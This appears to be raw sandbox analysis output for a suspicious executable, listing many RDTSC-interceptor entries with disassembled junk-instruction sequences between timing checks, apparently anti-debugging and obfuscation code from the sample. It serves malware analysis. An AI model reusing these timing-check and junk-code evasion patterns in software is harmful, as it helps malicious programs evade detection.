Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112148C second address: 11214D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0C0133BF56h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F0C0133BF5Eh 0x00000016 jbe 00007F0C0133BF46h 0x0000001c jmp 00007F0C0133BF52h 0x00000021 jns 00007F0C0133BF48h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121611 second address: 1121616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121790 second address: 1121799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121799 second address: 11217B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C00BB0B14h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121918 second address: 112191C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112191C second address: 1121943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F0C00BB0B16h 0x0000000e jno 00007F0C00BB0B06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121DA9 second address: 1121DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121DB4 second address: 1121DC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jns 00007F0C00BB0B06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121DC8 second address: 1121DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F0C0133BF4Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11266E7 second address: 11266ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11266ED second address: 11266F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11266F3 second address: 11266FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FAE5 second address: 112FAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FAEC second address: 112FAFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0C00BB0B06h 0x0000000a jng 00007F0C00BB0B06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FAFC second address: 112FB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E1E5 second address: 112E1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E353 second address: 112E35D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E35D second address: 112E361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E4D2 second address: 112E4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E4D8 second address: 112E4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E4DD second address: 112E4E7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0C0133BF52h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F1D3 second address: 112F1E2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C00BB0B0Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F1E2 second address: 112F1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0C0133BF46h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F1F0 second address: 112F216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F0C00BB0B1Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F216 second address: 112F21B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F21B second address: 112F240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0C00BB0B18h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F916 second address: 112F91B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F91B second address: 112F921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F921 second address: 112F93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007F0C0133BF4Eh 0x0000000b jng 00007F0C0133BF46h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jnp 00007F0C0133BF4Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D767 second address: 112D76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D76F second address: 112D774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D774 second address: 112D77E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C00BB0B0Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113543D second address: 1135463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F0C0133BF5Bh 0x0000000c jmp 00007F0C0133BF55h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A013 second address: 113A043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B16h 0x00000007 jnc 00007F0C00BB0B06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F0C00BB0B10h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A043 second address: 113A05E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF55h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A05E second address: 113A062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A062 second address: 113A070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A070 second address: 113A07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A07B second address: 113A0A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0C0133BF57h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A0A0 second address: 113A0AA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0C00BB0B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139EAD second address: 1139EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114672B second address: 1146733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114879F second address: 11487A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150C0F second address: 1150C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 jc 00007F0C00BB0B06h 0x0000000e jmp 00007F0C00BB0B13h 0x00000013 pop eax 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 jo 00007F0C00BB0B06h 0x0000001d jne 00007F0C00BB0B06h 0x00000023 push eax 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150C43 second address: 1150C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0C0133BF46h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CB65 second address: 115CB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CB6B second address: 115CB7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0C0133BF46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163FEF second address: 1164045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F0C00BB0B06h 0x0000000c popad 0x0000000d jmp 00007F0C00BB0B11h 0x00000012 jmp 00007F0C00BB0B18h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0C00BB0B13h 0x0000001f jmp 00007F0C00BB0B0Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162B4B second address: 1162B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F0C0133BF4Eh 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162CA9 second address: 1162CBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F0C00BB0B0Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162CBF second address: 1162CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163104 second address: 116311B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F0C00BB0B0Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11633CF second address: 11633D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167A2A second address: 1167A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11675B9 second address: 11675BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11675BD second address: 11675DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0C00BB0B12h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11675DC second address: 11675E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11675E0 second address: 11675E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C40 second address: 1171C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175FF7 second address: 1175FFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118750C second address: 1187512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187512 second address: 1187516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187516 second address: 1187535 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F0C0133BF54h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186FB7 second address: 1186FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11871DA second address: 11871DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11871DE second address: 11871E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107203B second address: 1072066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007F0C0133BF46h 0x00000010 jmp 00007F0C0133BF4Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C672 second address: 119C682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C682 second address: 119C688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C688 second address: 119C68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C68C second address: 119C690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C7F4 second address: 119C808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B0Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CFB4 second address: 119CFB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D110 second address: 119D14D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F0C00BB0B16h 0x00000011 pop edi 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007F0C00BB0B06h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D14D second address: 119D166 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C0133BF53h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ED9C second address: 119EDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jo 00007F0C00BB0B06h 0x0000000c pop eax 0x0000000d pushad 0x0000000e jnp 00007F0C00BB0B06h 0x00000014 jmp 00007F0C00BB0B16h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EDCA second address: 119EDDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jne 00007F0C0133BF46h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1950 second address: 11A1966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C00BB0B12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1966 second address: 11A1989 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0C0133BF46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0C0133BF54h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1989 second address: 11A198E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A198E second address: 11A1994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A358D second address: 11A3593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3593 second address: 11A359C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A359C second address: 11A35A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0C00BB0B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A35A6 second address: 11A35AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0439 second address: 4FC043E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC043E second address: 4FC0444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0444 second address: 4FC0448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0448 second address: 4FC0495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F0C0133BF52h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F0C0133BF50h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007F0C0133BF58h 0x00000020 pop eax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0495 second address: 4FC04B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C00BB0B17h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9E0B second address: 10B9E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA233 second address: 10BA239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA239 second address: 10BA23D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC055D second address: 4FC0561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0561 second address: 4FC0567 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0567 second address: 4FC0593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, cl 0x00000005 jmp 00007F0C00BB0B15h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d call 00007F0C00BB0B09h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0593 second address: 4FC0597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0597 second address: 4FC059D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC059D second address: 4FC05C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F0C0133BF4Ch 0x00000012 pop esi 0x00000013 push ebx 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
